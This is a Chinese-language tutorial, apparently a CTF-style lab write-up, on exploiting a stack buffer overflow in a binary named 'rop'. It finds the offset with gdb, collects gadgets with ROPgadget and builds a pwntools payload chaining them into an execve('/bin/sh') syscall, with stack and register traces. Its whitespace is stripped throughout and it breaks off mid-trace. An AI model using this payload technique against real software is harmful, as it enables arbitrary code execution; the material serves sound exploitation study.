用gdb確認overflow並找出overflow的offset ```shell $gdbrop (gdb)bmain (gdb)r (gdb)pattc100 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL 以pattc產生測試的文字長度,搭配crashoff找出造成overflow的offset (gdb)c Continuing. DoyouwanttolearnROP? Youranswer? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Legend:code,data,rodata,heap,value Stoppedreason:SIGSEGV 0x00000000004009fainmain() 上述訊息表示bufferoverflow導致了main的returnaddress錯誤 (gdb)crashoff 0x41304141foundatoffset:40 計算出offset為40 ``` ###透過ROP取得shell: 想讓程式執行```exec("/bin/sh")```,但程式中沒有這段程式碼,所以必須透過ROP組成。

**目標:藉由ROP將各分散在各處的指令組成systemcallexec執行shell** systemcall的執行方式 [systemcalltable](http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) |Syscall#|Param1|Param2|Param3|Param4|Param5|Param6| |--------|-------|-------|-------|-------|-------|-------| |rax|rdi|rsi|rdx|r10|r8|r9| |59|constchar\*filename|constchar\*constargv[]|constchar\*constenvp[]|-|-|-| -59在systemcall中是sys_execve的編號 **因此可整理出呼叫systemcall執行shell的條件為:** -rdi=pointertofilename *讓rdi指向一個buffer,buffer儲存的內容為"/bin/sh" -rsi=0 -rax=0x3b -rdx=0 **找出可利用的指令將rax,rdi,rsi,rdx的內容設定成目標數值** -poprax *將stacktop放入rax -poprdi *將stacktop放入rdi -poprsi *將stacktop放入rsi -poprdx *將stacktop放入rdx ###尋找指令位置 以尋找帶有rid的指令為例: ```shell $ROPgadget--binaryrop|grep'rdi' ``` 找到可利用的指令並記錄記憶體位置,**切記指令結尾必須要是ret** ``` 0x0000000000467265:syscall;ret#呼叫systemcall 0x00000000004014c6:poprdi;ret 0x0000000000478636:poprax;poprdx;poprbx;ret 0x00000000004015e7:poprsi;ret 0x000000000047a622:movqwordptr[rdi],rsi;ret#將rdi作為一個ptr,把rsi的內容放入rdi指到目標內容 ``` gdb找可用的buffer(作為filename) ```shell (gdb)vmmap Warning:notrunningortargetisremote StartEndPermName 0x004002c80x004a1149rx-p/home/xxxx/下載/函式呼叫/rop 0x004001900x004c9497r--p/home/xxxx/下載/函式呼叫/rop 0x006c9eb80x006cd408rw-p/home/xxxx/下載/函式呼叫/rop 使用0x006c9eb8可寫入的buffer ``` pythonpwntoolmodule製作payload(檔名`payload.py`) ```python frompwnimport* #把剛剛紀錄的gadget位置、buffer位置、offset紀錄 offset=40 scall=0x467265 pop_rdi=0x4014c6 pop_rsi=0x4015e7 pop_rax_rdx_rbx=0x478636 mov_ptr_rdi_rsi=0x47a622 buf=0x006c9eb8+200#避免buffer以有其他用途,往後200單位開始使用 #製作payload #flat將[]內容從字串形式轉換成p64編碼 #\x00 payload='a'*40+flat([pop_rdi,buf,pop_rsi,'/bin/sh\x00',mov_ptr_rdi_rsi,pop_rax_rdx_rbx,0x3b,0x0,0x0,pop_rsi,0x0,scall]) print(payload) ``` ```shell $pythonpayload.py>>payload $catpayload aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@l@/bin/sh"G6G;@erF ``` -returnaddress存放在stack,藉由上方的payload把returnaddress取代成一串 用gdb開啟程式並載入payload測試 ```shell $gdb-qrop (gdb)r0x400c46(:movedi,eax) 0008|0x7fffffffdd50-->0x0 0016|0x7fffffffdd58-->0x100000000 0024|0x7fffffffdd60-->0x7fffffffde88-->0x7fffffffe22d("/home/xxxx/下載/函式呼叫/rop") 0032|0x7fffffffdd68-->0x4009ae(
:pushrbp) 0040|0x7fffffffdd70-->0x4002c8(<_init>:subrsp,0x8) 0048|0x7fffffffdd78-->0xb1d92f39eb9cba5c 0056|0x7fffffffdd80-->0x401560(<__libc_csu_init>:pushr14) ``` ret後的程式碼狀況 ``` =>0x400c46:movedi,eax 0x400c48:call0x40ea20 0x400c4d:cmpedx,eax 0x400c4f:jbe0x400b50 0x400c55:jmp0x400b4a ``` 當輸入我們所製作的攻擊字串 ``` 0000|0x7fffffffdd48-->0x4014c6(<__libc_setup_tls>:poprdi) 0008|0x7fffffffdd50-->0x6c9f80-->0x7fffffffe209-->0x9f585673b63ed8d 0016|0x7fffffffdd58-->0x4015e7(<__libc_csu_init>:poprsi) 0024|0x7fffffffdd60-->0x68732f6e69622f('/bin/sh') 0032|0x7fffffffdd68-->0x47a622(<__mpn_extract_double>:movQWORDPTR[rdi],rsi) 0040|0x7fffffffdd70-->0x478636(:poprax) 0048|0x7fffffffdd78-->0x3b(';') 0056|0x7fffffffdd80-->0x0 ``` 第一次ret後,執行了一次pop讓RSP指到下一個指令 ``` 0000|0x7fffffffdd50-->0x6c9f80-->0x7fffffffe209-->0x9f585673b63ed8d 0008|0x7fffffffdd58-->0x4015e7(<__libc_csu_init>:poprsi) 0016|0x7fffffffdd60-->0x68732f6e69622f('/bin/sh') 0024|0x7fffffffdd68-->0x47a622(<__mpn_extract_double>:movQWORDPTR[rdi],rsi) 0032|0x7fffffffdd70-->0x478636(:poprax) 0040|0x7fffffffdd78-->0x3b(';') 0048|0x7fffffffdd80-->0x0 0056|0x7fffffffdd88-->0x0 ``` 指令執行位置,可以發現下一個指令又是ret,程式會繼續執行我們所加入的第2個指令 ``` =>0x4014c6<__libc_setup_tls>:poprdi 0x4014c7<__libc_setup_tls>:ret 0x4014c8<__libc_setup_tls>:nopDWORDPTR[rax+rax*1+0x0] 0x4014d0<__libc_setup_tls>:learax,[rbp+r14*1-0x1] ``` 到了要執行系統呼叫時的暫存器狀態 ``` RAX:0x3b(';') RBX:0x0 RCX:0x43f430(<__read_nocancel>:cmprax,0xfffffffffffff001) RDX:0x0 RSI:0x0 RDI:0x6c9f80-->0x68732f6e69622f('/bin/sh') RBP:0x6161616161616161('aaaaaaaa') RSP:0x7fffffffdda8-->0x5d7256ca7136cc0a RIP:0x467265(



請為這篇文章評分?